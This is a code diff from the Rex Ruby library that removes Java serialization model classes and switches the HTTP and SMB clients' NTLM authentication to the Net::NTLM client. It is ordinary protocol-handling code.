||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
unless class_desc.kind_of?(ClassDesc)
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded = ''
|
|
||||||
encoded << class_desc.encode
|
|
||||||
|
|
||||||
class_data.each do |value|
|
|
||||||
if value.kind_of?(Array)
|
|
||||||
encoded << encode_value(value)
|
|
||||||
else
|
|
||||||
encoded << encode_content(value)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
str = ''
|
|
||||||
|
|
||||||
case class_desc.description
|
|
||||||
when NewClassDesc
|
|
||||||
str << class_desc.description.class_name.to_s
|
|
||||||
when ProxyClassDesc
|
|
||||||
str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',')
|
|
||||||
when Reference
|
|
||||||
str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16)
|
|
||||||
end
|
|
||||||
|
|
||||||
str << ' => { '
|
|
||||||
data_str = class_data.collect { |data| data.to_s }
|
|
||||||
str << data_str.join(', ')
|
|
||||||
str << ' }'
|
|
||||||
|
|
||||||
str
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# Deserializes the class_data for a class_desc and its super classes
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
|
|
||||||
# @return [Array] class_data values if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_class_data(io, my_class_desc)
|
|
||||||
values = []
|
|
||||||
|
|
||||||
unless my_class_desc.super_class.description.class == NullReference
|
|
||||||
if my_class_desc.super_class.description.class == Reference
|
|
||||||
ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE
|
|
||||||
values += decode_class_data(io, stream.references[ref])
|
|
||||||
else
|
|
||||||
values += decode_class_data(io, my_class_desc.super_class.description)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
values += decode_class_fields(io, my_class_desc)
|
|
||||||
|
|
||||||
values
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes the fields data for a class_desc
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
|
|
||||||
# @return [Array] class_data values if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_class_fields(io, my_class_desc)
|
|
||||||
values = []
|
|
||||||
|
|
||||||
my_class_desc.fields.each do |field|
|
|
||||||
if field.is_primitive?
|
|
||||||
values << decode_value(io, field.type)
|
|
||||||
else
|
|
||||||
content = decode_content(io, stream)
|
|
||||||
values << content
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
values
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a class_data value
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @param type [String] the type of the value to deserialize
|
|
||||||
# @return [Array(String, <Fixnum, Float>)] type and value if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
|
|
||||||
def decode_value(io, type)
|
|
||||||
value = []
|
|
||||||
|
|
||||||
case type
|
|
||||||
when 'byte'
|
|
||||||
value_raw = io.read(1)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
|
|
||||||
value.push('byte', value_raw.unpack('c')[0])
|
|
||||||
when 'char'
|
|
||||||
value_raw = io.read(2)
|
|
||||||
unless value_raw && value_raw.length == 2
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value.push('char', value_raw.unpack('s>')[0])
|
|
||||||
when 'double'
|
|
||||||
value_raw = io.read(8)
|
|
||||||
unless value_raw && value_raw.length == 8
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value.push('double', value = value_raw.unpack('G')[0])
|
|
||||||
when 'float'
|
|
||||||
value_raw = io.read(4)
|
|
||||||
unless value_raw && value_raw.length == 4
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value.push('float', value_raw.unpack('g')[0])
|
|
||||||
when 'int'
|
|
||||||
value_raw = io.read(4)
|
|
||||||
unless value_raw && value_raw.length == 4
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value.push('int', value_raw.unpack('l>')[0])
|
|
||||||
when 'long'
|
|
||||||
value_raw = io.read(8)
|
|
||||||
unless value_raw && value_raw.length == 8
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value.push('long', value_raw.unpack('q>')[0])
|
|
||||||
when 'short'
|
|
||||||
value_raw = io.read(2)
|
|
||||||
unless value_raw && value_raw.length == 2
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
|
||||||
end
|
|
||||||
value.push('short', value_raw.unpack('s>')[0])
|
|
||||||
when 'boolean'
|
|
||||||
value_raw = io.read(1)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
|
|
||||||
value.push('boolean', value_raw.unpack('c')[0])
|
|
||||||
else
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type'
|
|
||||||
end
|
|
||||||
|
|
||||||
value
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes an class_data value
|
|
||||||
#
|
|
||||||
# @param value [Array] the type and value to serialize
|
|
||||||
# @return [String] the serialized value
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
|
||||||
def encode_value(value)
|
|
||||||
res = ''
|
|
||||||
|
|
||||||
case value[0]
|
|
||||||
when 'byte'
|
|
||||||
res = [value[1]].pack('c')
|
|
||||||
when 'char'
|
|
||||||
res = [value[1]].pack('s>')
|
|
||||||
when 'double'
|
|
||||||
res = [value[1]].pack('G')
|
|
||||||
when 'float'
|
|
||||||
res = [value[1]].pack('g')
|
|
||||||
when 'int'
|
|
||||||
res = [value[1]].pack('l>')
|
|
||||||
when 'long'
|
|
||||||
res = [value[1]].pack('q>')
|
|
||||||
when 'short'
|
|
||||||
res = [value[1]].pack('s>')
|
|
||||||
when 'boolean'
|
|
||||||
res = [value[1]].pack('c')
|
|
||||||
else
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type'
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,12 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
class NullReference < Element
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,109 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a ProxyClassDesc representation
|
|
||||||
class ProxyClassDesc < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization
|
|
||||||
|
|
||||||
# @!attribute interfaces
|
|
||||||
# @return [Array] An array of interface names
|
|
||||||
attr_accessor :interfaces
|
|
||||||
# @!attribute class_annotation
|
|
||||||
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
|
|
||||||
attr_accessor :class_annotation
|
|
||||||
# @!attribute super_class
|
|
||||||
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
|
|
||||||
attr_accessor :super_class
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.interfaces = []
|
|
||||||
self.class_annotation = nil
|
|
||||||
self.super_class = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
stream.add_reference(self) unless stream.nil?
|
|
||||||
|
|
||||||
interfaces_length = decode_interfaces_length(io)
|
|
||||||
interfaces_length.times do
|
|
||||||
interface = Utf.decode(io, stream)
|
|
||||||
self.interfaces << interface
|
|
||||||
end
|
|
||||||
self.class_annotation = Annotation.decode(io, stream)
|
|
||||||
self.super_class = ClassDesc.decode(io, stream)
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::ProxyClassDesc
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
unless class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
|
|
||||||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc'
|
|
||||||
end
|
|
||||||
encoded = ''
|
|
||||||
encoded << [interfaces.length].pack('N')
|
|
||||||
interfaces.each do |interface|
|
|
||||||
encoded << interface.encode
|
|
||||||
end
|
|
||||||
encoded << class_annotation.encode
|
|
||||||
encoded << super_class.encode
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
str = '[ '
|
|
||||||
interfaces_str = []
|
|
||||||
interfaces.each do |interface|
|
|
||||||
interfaces_str << interface.to_s
|
|
||||||
end
|
|
||||||
str << "#{interfaces_str.join(', ')} ]"
|
|
||||||
|
|
||||||
case super_class.description
|
|
||||||
when NewClassDesc
|
|
||||||
str << ", @super_class: #{super_class.description.class_name.to_s}"
|
|
||||||
when Reference
|
|
||||||
str << ", @super_class: #{super_class.description.to_s}"
|
|
||||||
end
|
|
||||||
|
|
||||||
str
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# Deserializes the number of interface names
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Fixnum] if deserialization is possible
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_interfaces_length(io)
|
|
||||||
fields_length = io.read(4)
|
|
||||||
if fields_length.nil? || fields_length.length != 4
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc'
|
|
||||||
end
|
|
||||||
|
|
||||||
fields_length.unpack('N')[0]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,61 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a Java Reference representation.
|
|
||||||
class Reference < Element
|
|
||||||
|
|
||||||
# @!attribute contents
|
|
||||||
# @return [Fixnum] The stream handle being referenced
|
|
||||||
attr_accessor :handle
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.handle = 0
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::Reference
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
handle_raw = io.read(4)
|
|
||||||
unless handle_raw && handle_raw.length == 4
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference'
|
|
||||||
end
|
|
||||||
|
|
||||||
self.handle = handle_raw.unpack('N')[0]
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::Reference
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
if handle < BASE_WIRE_HANDLE
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded = ''
|
|
||||||
encoded << [handle].pack('N')
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
"0x#{handle.to_s(16)}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,12 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
class Reset < Element
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,123 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a Java Stream representation
|
|
||||||
class Stream < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization::Model::Contents
|
|
||||||
|
|
||||||
# @!attribute magic
|
|
||||||
# @return [Fixnum] The stream signature
|
|
||||||
attr_accessor :magic
|
|
||||||
# @!attribute version
|
|
||||||
# @return [Fixnum] The stream version
|
|
||||||
attr_accessor :version
|
|
||||||
# @!attribute contents
|
|
||||||
# @return [Array] The stream contents
|
|
||||||
attr_accessor :contents
|
|
||||||
# @!attribute references
|
|
||||||
# @return [Array] The stream objects to be referenced through handles
|
|
||||||
attr_accessor :references
|
|
||||||
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(nil)
|
|
||||||
self.magic = STREAM_MAGIC
|
|
||||||
self.version = STREAM_VERSION
|
|
||||||
self.contents = []
|
|
||||||
self.references = []
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::Stream
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
self.magic = decode_magic(io)
|
|
||||||
self.version = decode_version(io)
|
|
||||||
|
|
||||||
until io.eof?
|
|
||||||
content = decode_content(io, self)
|
|
||||||
self.contents << content
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::Stream
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
encoded = ''
|
|
||||||
encoded << [magic].pack('n')
|
|
||||||
encoded << [version].pack('n')
|
|
||||||
contents.each do |content|
|
|
||||||
encoded << encode_content(content)
|
|
||||||
end
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Adds an element to the references array
|
|
||||||
#
|
|
||||||
# @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst
|
|
||||||
def add_reference(ref)
|
|
||||||
self.references.push(ref)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
str = "@magic: 0x#{magic.to_s(16)}\n"
|
|
||||||
str << "@version: #{version}\n"
|
|
||||||
str << "@contents: [\n"
|
|
||||||
contents.each do |content|
|
|
||||||
str << " #{print_content(content)}\n"
|
|
||||||
end
|
|
||||||
str << "]\n"
|
|
||||||
str << "@references: [\n"
|
|
||||||
references.each do |ref|
|
|
||||||
str << " [#{(references.index(ref) + BASE_WIRE_HANDLE).to_s(16)}] #{print_content(ref)}\n"
|
|
||||||
end
|
|
||||||
str << "]\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# Deserializes the magic stream value
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [String] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_magic(io)
|
|
||||||
magic = io.read(2)
|
|
||||||
|
|
||||||
unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
|
|
||||||
end
|
|
||||||
|
|
||||||
STREAM_MAGIC
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes the version stream
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Fixnum] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode_version(io)
|
|
||||||
version = io.read(2)
|
|
||||||
unless version && version.unpack('n')[0] == STREAM_VERSION
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
|
|
||||||
end
|
|
||||||
|
|
||||||
STREAM_VERSION
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,69 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a Utf string representation
|
|
||||||
class Utf < Element
|
|
||||||
|
|
||||||
# @!attribute length
|
|
||||||
# @return [Integer] the length of the string
|
|
||||||
attr_accessor :length
|
|
||||||
# @!attribute contents
|
|
||||||
# @return [String] the contents of the string
|
|
||||||
attr_accessor :contents
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
# @param contents [String] the contents of the utf string
|
|
||||||
def initialize(stream = nil, contents = '')
|
|
||||||
super(stream)
|
|
||||||
self.contents = contents
|
|
||||||
self.length = contents.length
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::Utf
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
raw_length = io.read(2)
|
|
||||||
if raw_length.nil? || raw_length.length != 2
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
|
|
||||||
end
|
|
||||||
self.length = raw_length.unpack('n')[0]
|
|
||||||
|
|
||||||
if length == 0
|
|
||||||
self.contents = ''
|
|
||||||
else
|
|
||||||
self.contents = io.read(length)
|
|
||||||
if contents.nil? || contents.length != length
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::Utf
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def encode
|
|
||||||
encoded = [length].pack('n')
|
|
||||||
encoded << contents
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
contents
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -3,10 +3,6 @@ require 'rex/socket'
|
||||||
require 'rex/proto/http'
|
require 'rex/proto/http'
|
||||||
require 'rex/text'
|
require 'rex/text'
|
||||||
require 'digest'
|
require 'digest'
|
||||||
require 'rex/proto/ntlm/crypt'
|
|
||||||
require 'rex/proto/ntlm/constants'
|
|
||||||
require 'rex/proto/ntlm/utils'
|
|
||||||
require 'rex/proto/ntlm/exceptions'
|
|
||||||
|
|
||||||
require 'rex/proto/http/client_request'
|
require 'rex/proto/http/client_request'
|
||||||
|
|
||||||
|
@ -313,7 +309,6 @@ class Client
|
||||||
# Send a series of requests to complete Digest Authentication
|
# Send a series of requests to complete Digest Authentication
|
||||||
#
|
#
|
||||||
# @param opts [Hash] the options used to build an HTTP request
|
# @param opts [Hash] the options used to build an HTTP request
|
||||||
#
|
|
||||||
# @return [Response] the last valid HTTP response we received
|
# @return [Response] the last valid HTTP response we received
|
||||||
def digest_auth(opts={})
|
def digest_auth(opts={})
|
||||||
@nonce_count = 0
|
@nonce_count = 0
|
||||||
|
@ -457,13 +452,6 @@ class Client
|
||||||
#
|
#
|
||||||
# @return [Response] the last valid HTTP response we received
|
# @return [Response] the last valid HTTP response we received
|
||||||
def negotiate_auth(opts={})
|
def negotiate_auth(opts={})
|
||||||
ntlm_options = {
|
|
||||||
:signing => false,
|
|
||||||
:usentlm2_session => self.config['usentlm2_session'],
|
|
||||||
:use_ntlmv2 => self.config['use_ntlmv2'],
|
|
||||||
:send_lm => self.config['send_lm'],
|
|
||||||
:send_ntlm => self.config['send_ntlm']
|
|
||||||
}
|
|
||||||
|
|
||||||
to = opts['timeout'] || 20
|
to = opts['timeout'] || 20
|
||||||
opts['username'] ||= ''
|
opts['username'] ||= ''
|
||||||
|
@ -472,28 +460,27 @@ class Client
|
||||||
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
||||||
provider = "Negotiate "
|
provider = "Negotiate "
|
||||||
else
|
else
|
||||||
provider = 'NTLM '
|
provider = "NTLM "
|
||||||
end
|
end
|
||||||
|
|
||||||
opts['method']||= 'GET'
|
opts['method']||= 'GET'
|
||||||
opts['headers']||= {}
|
opts['headers']||= {}
|
||||||
|
|
||||||
ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options)
|
|
||||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)
|
workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)
|
||||||
domain_name = self.config['domain']
|
domain_name = self.config['domain']
|
||||||
|
|
||||||
b64_blob = Rex::Text::encode_base64(
|
ntlm_client = ::Net::NTLM::Client.new(
|
||||||
::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init(
|
opts['username'],
|
||||||
domain_name,
|
opts['password'],
|
||||||
workstation_name,
|
workstation: workstation_name,
|
||||||
ntlmssp_flags
|
domain: domain_name,
|
||||||
))
|
)
|
||||||
|
type1 = ntlm_client.init_context
|
||||||
ntlm_message_1 = provider + b64_blob
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
# First request to get the challenge
|
# First request to get the challenge
|
||||||
opts['headers']['Authorization'] = ntlm_message_1
|
opts['headers']['Authorization'] = provider + type1.encode64
|
||||||
|
|
||||||
r = request_cgi(opts)
|
r = request_cgi(opts)
|
||||||
resp = _send_recv(r, to)
|
resp = _send_recv(r, to)
|
||||||
unless resp.kind_of? Rex::Proto::Http::Response
|
unless resp.kind_of? Rex::Proto::Http::Response
|
||||||
|
@ -506,47 +493,10 @@ class Client
|
||||||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||||
return resp unless ntlm_challenge
|
return resp unless ntlm_challenge
|
||||||
|
|
||||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
ntlm_message_3 = ntlm_client.init_context(ntlm_challenge)
|
||||||
blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2)
|
|
||||||
|
|
||||||
challenge_key = blob_data[:challenge_key]
|
|
||||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
|
||||||
default_name = blob_data[:default_name] || '' #netbios name
|
|
||||||
default_domain = blob_data[:default_domain] || '' #netbios domain
|
|
||||||
dns_host_name = blob_data[:dns_host_name] || '' #dns name
|
|
||||||
dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain
|
|
||||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time
|
|
||||||
|
|
||||||
spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname}
|
|
||||||
|
|
||||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses(
|
|
||||||
opts['username'],
|
|
||||||
opts['password'],
|
|
||||||
challenge_key,
|
|
||||||
domain_name,
|
|
||||||
default_name,
|
|
||||||
default_domain,
|
|
||||||
dns_host_name,
|
|
||||||
dns_domain_name,
|
|
||||||
chall_MsvAvTimestamp,
|
|
||||||
spnopt,
|
|
||||||
ntlm_options
|
|
||||||
)
|
|
||||||
|
|
||||||
ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth(
|
|
||||||
domain_name,
|
|
||||||
workstation_name,
|
|
||||||
opts['username'],
|
|
||||||
resp_lm,
|
|
||||||
resp_ntlm,
|
|
||||||
'',
|
|
||||||
ntlmssp_flags
|
|
||||||
)
|
|
||||||
|
|
||||||
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
|
|
||||||
|
|
||||||
# Send the response
|
# Send the response
|
||||||
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}"
|
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}"
|
||||||
r = request_cgi(opts)
|
r = request_cgi(opts)
|
||||||
resp = _send_recv(r, to, true)
|
resp = _send_recv(r, to, true)
|
||||||
unless resp.kind_of? Rex::Proto::Http::Response
|
unless resp.kind_of? Rex::Proto::Http::Response
|
||||||
|
@ -558,6 +508,7 @@ class Client
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Read a response from the server
|
# Read a response from the server
|
||||||
#
|
#
|
||||||
|
@ -713,7 +664,6 @@ protected
|
||||||
|
|
||||||
attr_accessor :hostname, :port # :nodoc:
|
attr_accessor :hostname, :port # :nodoc:
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -4,6 +4,8 @@ module Proto
|
||||||
module SMB
|
module SMB
|
||||||
class Client
|
class Client
|
||||||
|
|
||||||
|
require 'net/ntlm'
|
||||||
|
|
||||||
require 'rex/text'
|
require 'rex/text'
|
||||||
require 'rex/struct2'
|
require 'rex/struct2'
|
||||||
require 'rex/proto/smb/constants'
|
require 'rex/proto/smb/constants'
|
||||||
|
@ -623,16 +625,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
|
|
||||||
|
|
||||||
# Authenticate and establish a session
|
# Authenticate and establish a session
|
||||||
def session_setup(*args)
|
def session_setup(user='', pass='', domain='', do_recv=true)
|
||||||
|
|
||||||
if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
|
if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
|
||||||
|
|
||||||
if (self.challenge_key)
|
if (self.challenge_key)
|
||||||
return self.session_setup_no_ntlmssp(*args)
|
return self.session_setup_no_ntlmssp(user, pass, domain, do_recv)
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( self.extended_security )
|
if ( self.extended_security )
|
||||||
return self.session_setup_with_ntlmssp(*args)
|
return self.session_setup_with_ntlmssp(user, pass, domain, nil, do_recv)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -831,7 +832,16 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
name = Rex::Text.rand_text_alphanumeric(16)
|
name = Rex::Text.rand_text_alphanumeric(16)
|
||||||
end
|
end
|
||||||
|
|
||||||
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags)
|
@ntlm_client = Net::NTLM::Client.new(
|
||||||
|
user,
|
||||||
|
pass,
|
||||||
|
workstation: name,
|
||||||
|
domain: domain,
|
||||||
|
flags: ntlmssp_flags
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
blob = @ntlm_client.init_context.serialize
|
||||||
|
|
||||||
native_data = ''
|
native_data = ''
|
||||||
